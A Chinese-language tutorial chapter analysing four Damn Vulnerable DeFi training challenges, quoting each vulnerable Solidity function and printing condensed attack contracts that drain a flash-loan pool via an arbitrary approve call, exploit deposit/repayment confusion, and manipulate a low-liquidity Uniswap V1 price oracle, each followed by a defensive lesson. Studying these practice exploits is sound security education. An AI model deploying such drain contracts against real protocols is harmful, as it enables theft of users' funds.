10分钟智能合约:进阶实战-9.2 项目代码及漏洞分析

13 阅读5分钟

欢迎订阅专栏10分钟智能合约:进阶实战

Damn Vulnerable DeFi 是一个聚焦于 DeFi 安全的实战型“黑客靶场”,覆盖了闪电贷、预言机、治理、NFT、DEX、时间锁、元交易等多种攻击面。每个挑战都包含一个“带漏洞的合约 + 测试用例”,解题者需编写攻击合约,使测试通过。

以下是几个经典挑战的深度分析:


一、Unstoppable:拒绝服务攻击

挑战目标:金库持有 100 万 DVT 代币并提供免费闪电贷,需使其停止服务。

漏洞代码分析

UnstoppableVault.flashLoan() 中存在以下关键检查:

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
// ... 执行闪电贷 ...

该检查要求 totalAssets()(金库实际持有的资产)必须等于 convertToShares(totalSupply)(根据份额计算出的理论资产)。

漏洞根源:金库使用 poolBalancetoken.balanceOf(address(this)) 两种方式追踪余额,但直接向金库转账 DVT 会绕过 poolBalance 的更新。

攻击方法

攻击者只需直接调用 DVT.transfer(vault, 1) 向金库捐赠 1 个 DVT,便永久破坏了两者之间的 1:1 锚定关系,此后所有 flashLoan 调用都会在检查处失败。

核心教训:协议应统一状态更新入口,避免外部操作绕过内部记账逻辑。


二、Truster:任意外部调用导致的授权窃取

挑战目标:池中持有 100 万 DVT 代币,需在单笔交易中拯救所有资金。

漏洞代码分析

TrusterLenderPool.flashLoan() 的核心逻辑:

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data) external {
    uint256 balanceBefore = token.balanceOf(address(this));
    token.transfer(borrower, amount);
    target.functionCall(data);  // ⚠️ 任意外部调用!
    require(token.balanceOf(address(this)) >= balanceBefore, "Balance not returned");
}

漏洞根源target.functionCall(data) 允许攻击者控制调用的目标合约和 calldata。合约只检查了最终的代币余额,完全忽略了外部调用期间执行的操作。

攻击方法

  1. 调用 flashLoan 时借款金额设为 0。
  2. target 设为 DVT 代币地址,data 编码为 approve(spender, allBalance)
  3. 池子通过 functionCall 代表攻击者执行 approve,授权攻击者转移池中所有 DVT。
  4. 通过 transferFrom 将池中所有代币转走。

攻击合约(精简版)

contract Drainer {
    constructor(DVT token, TrusterLenderPool pool, address recovery) {
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)", address(this), token.balanceOf(address(pool))
        );
        pool.flashLoan(0, address(this), address(token), data);
        token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
    }
}

核心教训:闪电贷合约不应提供执行任意外部调用的能力,应遵循标准回调模式。


三、Side Entrance:存款与还款混淆

挑战目标:池中持有 1000 ETH 并提供免费闪电贷,初始有 1 ETH,需拯救池中所有 ETH。

漏洞代码分析

SideEntranceLenderPool.flashLoan() 的核心逻辑:

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    require(address(this).balance >= balanceBefore, "Balance not returned");
}

攻击者可在 execute() 回调中实现任意逻辑。

漏洞根源:合约仅检查最终 ETH 余额是否恢复,但不区分“偿还贷款”和“进行存款”——两者都会增加合约余额,但会计含义截然不同。

攻击方法

  1. 调用 flashLoan 借出池中所有 ETH。
  2. execute() 回调中,将借来的 ETH 作为存款重新存入池子。
  3. 池子的 ETH 余额恢复,闪电贷余额检查通过。
  4. 调用 withdraw() 提取池中所有 ETH(包括原本属于池子的 1000 ETH)。

攻击合约(精简版)

contract Attack {
    SideEntranceLenderPool pool;
    address recovery;
    
    function execute() external payable {
        pool.deposit{value: msg.value}();  // 将借来的 ETH 存回去
    }
    
    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();  // 提取所有 ETH
        (bool success, ) = recovery.call{value: address(this).balance}("");
    }
}

核心教训:闪电贷合约应使用 transferFrom 主动从借款人处拉取资金,而非被动等待借款人推送


四、Puppet:预言机操纵攻击

挑战目标:借贷池持有 10 万 DVT 代币,需借出所有 DVT。初始有 25 ETH 和 1000 DVT。

漏洞代码分析

PuppetPool 使用 Uniswap V1 交易对计算 DVT 价格:

function _computeOraclePrice() private view returns (uint256) {
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

漏洞根源:价格基于 Uniswap V1 的瞬时储备计算,而该池流动性极低(仅 10 ETH / 10 DVT)。攻击者可通过一次大额兑换大幅改变价格。

攻击方法

  1. 授权 Uniswap 交易所使用攻击者的 1000 DVT。
  2. 在 Uniswap V1 中卖出大量 DVT,使池中 DVT 储备暴增、ETH 储备锐减。
  3. 预言机计算出 DVT 价格暴跌
  4. 以极低的抵押品借出池中所有 10 万 DVT。

攻击合约(精简版)

contract Attacker {
    function startAttack() public {
        token.approve(address(exchange), 1000e18);
        exchange.tokenToEthSwapInput(1000e18, 1e18, block.timestamp + 1 days);
        uint256 collateral = pool.calculateDepositRequired(100_000e18);
        pool.borrow{value: collateral}(100_000e18, recovery);
    }
}

核心教训:永远不要使用低流动性 DEX 的瞬时价格作为预言机,应使用 TWAP 或多数据源机制。


总结

挑战漏洞类型核心教训
Unstoppable拒绝服务统一状态更新入口,防止外部操作绕过内部记账
Truster任意外部调用闪电贷不应提供任意 functionCall 后门
Side Entrance存款/还款混淆使用 transferFrom 拉取模式,而非被动等待推送
Puppet预言机操纵不使用低流动性 DEX 的瞬时价格作为预言机

项目官方仓库提供了完整的挑战源码和测试框架,建议 Clone 后在本地环境(Foundry)中实战演练。